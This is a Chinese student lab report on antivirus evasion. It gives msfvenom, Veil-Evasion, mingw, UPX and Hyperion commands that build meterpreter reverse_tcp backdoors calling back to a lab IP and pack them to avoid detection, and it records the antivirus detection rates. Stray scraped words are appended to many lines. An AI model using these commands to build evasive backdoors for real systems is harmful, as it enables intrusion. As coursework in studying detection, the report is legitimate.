Exp3 免殺原理與實踐 20164309

實踐內容

任務一:正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧

1.1MSF編碼器

直接使用上次實驗的20164309_backdoor.exe試試php

看來文件名違法了,那更名爲164309_backdoor。java

更名後直接被清理。。看來裸奔的後門的確很差使。python

 

找回文件添加進信任區,對其進行掃描shell

 

virscan57%的殺軟報毒編程

有業界毒瘤之稱的百度殺毒沒查出來。。。(可喜可賀的是百度殺毒於去年11月份中止運營)vim

 

再在virustotal上試試,51個殺軟報毒windows

 看來大部分正常的殺毒軟件都可以識別直接用msf生成的病毒網絡

 

 

 1.2veil-evasion

 輸入sudo apt-get install veil-evasion  下載veil-evasion工具tcp

 

在嘗試過老師的實驗指導同窗的實驗報告和網絡的各類方法以後,我花費了一天仍是沒有展開那幾個veil文件,拷貝了同窗的kali使用veil進行生成。函數

輸入 veil 進入veil工具

輸入 use evasion 進入veil-evasion

輸入 use c/meterpreter/rev_tcp.c 選擇C語言、tcp端口、反彈回連

輸入 set LHOST 192.168.236.131   set LPORT 4309 設置反彈ip和端口

輸入 generate 生成文件並命名爲4309_veil

掃描發現仍是報毒

 

 

 

1.3msfvenom生成php和jar

 分別使用

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar

 

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php

 

 生成php和jar的shellcode文件

 

 php表現較好

 

但這個不是可執行文件,沒有可比性

 再看看jar

 

virscan(7/49) virustotal(33/57)嚴重懷疑virscan放水

 

 1.3shellcode

 

輸入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成後門

 進入 vim 4309shellcode.c 進行修改,加上函數頭、主函數與文件頭,完善爲合法的C語言文件

 使用 i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可執行文件

 

 

電腦上的騰訊管家並未報毒,共存成功,那運行豈不是也能成功了?後來發現結果發現的確如此

這就算實現了???(後面發現並不是如此)

 

1.4使用加殼工具

輸入 upx 4309shellcode.exe -o 4309shellcodeupx.exe 

騰訊管家沒有報毒

 

任務二:經過組合應用各類技術實現惡意代碼免殺

再對該文件進行加密 cd /usr/share/windows-binaries/hyperion/ 

  wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe 

加密以後報毒猛增!

 

看來殺軟多是根據壓縮、加密殼裏的字段進行判斷是否爲病毒的

 運行看看

 

拷貝時沒有被查殺,可以共存,但運行時出現了問題,看來騰訊管家仍是有一些用的,放入白名單,發現回連成功。

 

 

再在虛擬機上覆現,發現仍是沒可以實現回連(除非白名單伺候)

看來在2014年的騰訊管家就對其有必定的限制了,我認爲對於不加殼的是反彙編分析源代碼內容,發現程序頭文件調用系統資源;而加殼加密的是直接查找有關的特徵代碼從而查找出病毒

免殺路漫漫,我仍是試一下python能不可以實現吧

 

使用

use python/meterpreter/rev_tcp.exe

生成python文件試試

 

 

輸入 pip install pyinstaller  pyinstaller -F 4309py.py 對生成的文件進行編譯,轉換成exe文件

 

???仍是失敗

 

那我想試試加殼到底能不能幫助免殺呢???

源文件採用上學期的操做系統實驗代碼

 

這都給我報毒???

改爲英文名在kali上加殼加密

使用  upx caozuoxitong.exe -o caozuoxitongupx.exe 進行加殼

使用 wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 進行加密

大好河山一片紅。。。

 一個普通exe文件經過壓縮加密以後反而報毒更多,看來剛剛的猜測被證明了,殺軟經過殼裏的特徵碼來進行殺毒的!!那在不手工修改代碼的狀況下確定是難以實現的了。

 基礎問題回答

1.殺軟是如何檢測出惡意代碼的?

經過編譯惡意代碼,或者發現其中的特徵代碼以實現,就像本次實驗中的加殼反而會被報毒;

經過代碼運行時的行爲,就像本次實驗中有的能與殺軟共存,可是一旦運行仍是會被清理;

2. 免殺是作什麼?

經過一些手段使惡意代碼不被目標主機發現

3.免殺的基本方法有哪些?

手工對惡意代碼進行更改,研究病毒庫中的特徵碼,再對特徵碼進行更改

4.開啓殺軟能絕對防止電腦中惡意代碼嗎?

不必定,可是大部分的可以防止,殺軟的病毒庫是根據檢測出來的病毒更新的,所謂道高一尺魔高一丈,惡意代碼總有新的漏洞能夠利用。

 實驗感想

根據本次實驗,以咱們大多數人如今的水平,尚未達到經過編程直接生成病毒來實現入侵的水平,就算有,經過殺軟經過編譯假裝好的病毒也可以找出問題。而實驗中的常規方法早已被各大殺軟摸清楚底細,並且像咱們用meterpreter生成的shellcode文件在運行時會生成meterpreter.o文件,這是調用系統資源的必要步驟,因此也許咱們的後門可以共存,可是在不改變其根本結構的狀況下不可能進行免殺,不管是對shellcode進行異或仍是加殼最後編譯完成的機器碼是確定會被檢測出來的。而對於那些殼來講(尤爲是加密殼)咱們越是使用它反而被查殺的概率越大。儘管我沒能完成回連,可是我用盡了我可以想到的方法,最起碼作到了心安理得

相關文章
相關標籤/搜索